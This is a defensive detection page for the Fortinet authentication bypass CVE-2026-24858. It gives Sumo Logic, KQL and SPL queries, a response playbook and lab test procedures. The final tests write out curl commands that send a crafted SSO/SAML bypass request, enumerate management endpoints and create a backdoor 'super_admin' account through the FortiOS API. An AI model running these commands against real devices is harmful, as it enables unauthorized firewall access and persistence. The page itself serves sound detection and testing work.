Detect Fortinet Multiple Products Authentication Bypass via Alternate Path or Channel (CVE-2026-24858) in Sumo Logic CSE
Detects exploitation of CVE-2026-24858, an authentication bypass vulnerability (CWE-288) affecting multiple Fortinet products. Attackers abuse an alternate authentication path or channel — specifically SSO abuse on FortiOS — to bypass normal authentication controls and gain unauthorized access. This vulnerability is listed on CISA's Known Exploited Vulnerabilities catalog, indicating active exploitation in the wild.
MITRE ATT&CK
Sumo Detection Query
_sourceCategory=fortinet OR _sourceCategory=fortigate OR _sourceName=*forti*
| where vendor matches /(?i)fortinet/ or _raw matches /(?i)(fortigate|fortios|forticlient)/
| where _raw matches /(?i)(sso|saml|alternate.path|auth.bypass|unauthenticated|bypass.auth)/
| parse "action=*" as action nodrop
| parse "srcip=*" as src_ip nodrop
| parse "dstip=*" as dst_ip nodrop
| parse "user=*" as username nodrop
| parse "msg=*" as message nodrop
| where action matches /(?i)(accept|allow|login|success|permit)/ or isNull(action)
| count as event_count by src_ip, username, action, _sourceHost
| where event_count >= 1
| sort by event_count desc
| fields _sourceHost, src_ip, username, action, event_countSumo Logic query for Fortinet authentication bypass detection, identifying successful authentication events referencing SSO, SAML, or alternate authentication channels on Fortinet devices.
Data Sources
Required Tables
False Positives & Tuning
- Standard SSO login flows from corporate identity providers
- Fortinet agent telemetry referencing SSO configuration in non-auth contexts
- Automated monitoring tools polling Fortinet management APIs with SSO tokens
- Multi-factor authentication bypass for break-glass accounts during incidents
Other platforms for CVE-2026-24858
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate SSO Authentication Request to Fortinet Management Interface
Expected signal: HTTP request to /remote/logincheck with SSO/SAML parameters should appear in FortiGate authentication logs and in web proxy or network monitoring logs. Source IP, timestamp, and HTTP response code should be captured.
- Test 2Enumerate Fortinet Management Interface SSO Endpoints
Expected signal: Series of HTTPS connections to Fortinet management interface on TCP 443 from a single source IP targeting multiple URL paths in rapid succession. Should appear in web access logs and network flow data.
- Test 3Create Unauthorized Admin Account Post-Authentication-Bypass
Expected signal: FortiOS admin audit log should record a new admin account creation event with the account name 'svc_backup_acct', profile 'super_admin', and the API source IP. Event type=event, subtype=system, action=add should appear in FortiAnalyzer.
Response Playbook
Triage
- Identify all Fortinet devices in scope: enumerate FortiGate firewalls, FortiManager, FortiAnalyzer, FortiAuthenticator, and SSL VPN appliances using asset inventory and network discovery. Cross-reference against vendor advisory FG-IR-26-060 to confirm vulnerable product versions.
- Review authentication logs on affected Fortinet devices for the past 30 days for entries with auth_method=sso, saml assertions, or references to alternate authentication channels — specifically look for sessions that authenticated without expected credential validation steps.
- Correlate successful SSO/alternate-auth sessions against the user directory (Active Directory, LDAP, or RADIUS) to identify sessions where no corresponding IdP authentication event exists, indicating authentication bypass rather than legitimate SSO.
- Check FortiOS admin audit logs for configuration changes, new admin account creation, VPN policy modifications, or firewall rule changes made during or immediately after suspicious authentication events.
- Assess whether attackers achieved persistent access: look for new local admin accounts, modified LDAP/RADIUS configurations, backdoored VPN profiles, or scheduled tasks on connected management systems.
Containment
- Immediately disable SSO/SAML authentication on all affected Fortinet products and revert to local credential authentication or MFA-enforced RADIUS until patches are applied. Block access to FortiGate management interfaces (TCP 443/8443 administrative GUI, TCP 22 SSH) from all untrusted networks at the perimeter.
- Rotate all administrative credentials for affected Fortinet devices, invalidate active sessions, revoke all API tokens and certificates associated with the management interface. If compromise is confirmed, isolate the affected device from the network and redirect traffic to a clean replacement or backup configuration.
- Apply Fortinet's official patches from FG-IR-26-060 immediately. If patching is not immediately possible, implement the vendor-recommended workarounds such as restricting management interface access to dedicated out-of-band management networks.
Evidence Collection
- Collect full authentication logs from the Fortinet device CLI using `get log memory filter` and `execute log filter` commands, or pull logs from FortiAnalyzer if configured. Export to read-only storage before any remediation actions that might clear logs.
- Capture running configuration snapshot (`show full-configuration`), current admin sessions (`get system session list`), current VPN sessions, and recently modified objects with timestamps using FortiOS CLI or FortiManager API before any changes are made.
- Preserve network packet captures (PCAP) from the management interface network segment covering the suspected compromise window, focusing on TCP 443/8443 traffic to the Fortinet management IP.
Escalation Criteria
- !Escalate immediately to incident response leadership if any Fortinet device is confirmed to have been accessed via authentication bypass and subsequent configuration changes are detected — particularly if the device controls segmentation between critical network zones, DMZ, or OT/ICS environments.
- !Escalate to executive leadership and legal/compliance if the compromised Fortinet device provided access to environments in scope for PCI-DSS, HIPAA, or SOC2 compliance, or if sensitive data (credentials, PII, financial records) may have been exfiltrated through bypassed VPN sessions.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
FortiOS authentication log entries with auth_method=sso or saml showing successful logins with no corresponding IdP SAML assertion in identity provider logs - >
HTTP/HTTPS requests to FortiGate management paths (/remote/login, /api/v2/cmdb/, /logincheck) from unexpected source IPs with anomalous session tokens or missing standard credential headers - >
FortiOS event log entries (type=event, subtype=system) showing admin login successes followed immediately by configuration changes within seconds, indicating automation or scripted post-exploitation - >
Network traffic to FortiGate management interface port (TCP 443) from external IPs not in the approved management IP allowlist, particularly around the disclosed date 2026-01-27 and forward
Tuning Guidance
Start by establishing a baseline of legitimate SSO authentication sources — document all approved identity providers (Azure AD, Okta, PingFederate) and their source IP ranges, then exclude these from alerting. Tune the KQL and SPL queries to filter on the specific Fortinet product versions confirmed vulnerable per FG-IR-26-060. If your environment has no SSO/SAML configured on Fortinet devices, any match should be treated as high-confidence malicious activity. Increase confidence scoring to 'high' after baselining. For environments with legitimate SSO, focus detection on the absence of a corresponding IdP-side authentication event within the same time window as the Fortinet auth success — this gap is the clearest indicator of bypass rather than legitimate SSO.
Hunting Queries
Threat hunt for anomalous authentication volume spikes on Fortinet devices — high counts of successful logins from multiple source IPs within short windows may indicate automated scanning or exploitation of the authentication bypass
CommonSecurityLog
| where TimeGenerated >= ago(90d)
| where DeviceVendor =~ "Fortinet"
| where Activity has_any ("login", "authentication", "sso", "saml")
| where Message !has "failed" and Message !has "denied"
| summarize LoginCount=count(), DistinctSources=dcount(SourceIP), SourceIPs=make_set(SourceIP) by bin(TimeGenerated, 1h), DeviceName, Message
| where DistinctSources > 5
| order by LoginCount descindex=fortinet OR index=firewall sourcetype=fortigate_utm
| eval is_success=if(match(lower(coalesce(action,"")), "accept|allow|login|permit") AND NOT match(lower(coalesce(msg,"")), "fail|deny|reject"), 1, 0)
| where is_success=1
| bucket _time span=1h
| stats dc(src_ip) as unique_sources, count as login_events by _time, devname
| where unique_sources > 5 OR login_events > 50
| sort - login_eventsAtomic Red Team Tests
Sends an HTTP request crafted to abuse an alternate authentication path on a Fortinet management interface, simulating the authentication bypass vector described in CVE-2026-24858. For use in lab environments only.
Command
curl -sk -X POST 'https://FORTINET_LAB_IP/remote/logincheck' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: FortiClient/7.0' --data 'username=admin&credential=&ajax=1&redir=/remote/login%3Ftoken%3Dsso%26method%3Dsaml' -D - | grep -E '(HTTP|Set-Cookie|Location|X-Fo)'Cleanup
No cleanup required — read-only HTTP request generates no persistent changes on the target.Expected Telemetry
HTTP request to /remote/logincheck with SSO/SAML parameters should appear in FortiGate authentication logs and in web proxy or network monitoring logs. Source IP, timestamp, and HTTP response code should be captured.
Expected Detection
Alert should trigger on the KQL/SPL/EQL queries matching 'sso' or 'saml' in Fortinet authentication log messages with action=accept or HTTP 200 response.
Enumerates known Fortinet management interface paths associated with SSO and alternate authentication channels to identify exposed endpoints, simulating attacker reconnaissance prior to CVE-2026-24858 exploitation.
Command
for path in '/remote/saml/login' '/remote/login?token=sso' '/api/v2/authentication' '/logincheck?ajax=1' '/remote/sso' '/api/v2/monitor/web-ui/sso'; do echo "Testing: $path"; curl -sk -o /dev/null -w "%{http_code} %{url_effective}\n" "https://FORTINET_LAB_IP${path}"; doneCleanup
No cleanup required — passive HTTP probing only.Expected Telemetry
Series of HTTPS connections to Fortinet management interface on TCP 443 from a single source IP targeting multiple URL paths in rapid succession. Should appear in web access logs and network flow data.
Expected Detection
Triggers on network-level detection for rapid URL enumeration against Fortinet management interfaces. May also match pattern-based detections on SSO/SAML URL paths.
Simulates post-exploitation activity after successful authentication bypass on a FortiOS device — creates a backdoor admin account via the FortiOS REST API, representing the most common attacker objective after initial access via CVE-2026-24858.
Command
FORTINET_IP='FORTINET_LAB_IP'; SESSION_TOKEN='LAB_OBTAINED_TOKEN'; curl -sk -X POST "https://${FORTINET_IP}/api/v2/cmdb/system/admin" -H "Authorization: Bearer ${SESSION_TOKEN}" -H 'Content-Type: application/json' -d '{"name":"svc_backup_acct","passwd":"L@bT3st0nly!","profile":"super_admin","accprofile":"super_admin","vdoms":[{"name":"root"}]}'Cleanup
curl -sk -X DELETE "https://FORTINET_LAB_IP/api/v2/cmdb/system/admin/svc_backup_acct" -H "Authorization: Bearer LAB_OBTAINED_TOKEN"Expected Telemetry
FortiOS admin audit log should record a new admin account creation event with the account name 'svc_backup_acct', profile 'super_admin', and the API source IP. Event type=event, subtype=system, action=add should appear in FortiAnalyzer.
Expected Detection
Post-exploitation detection rules monitoring for new admin account creation via API (especially super_admin profile) should trigger. Correlates with the authentication bypass detection when the same source IP appeared in SSO abuse events shortly before.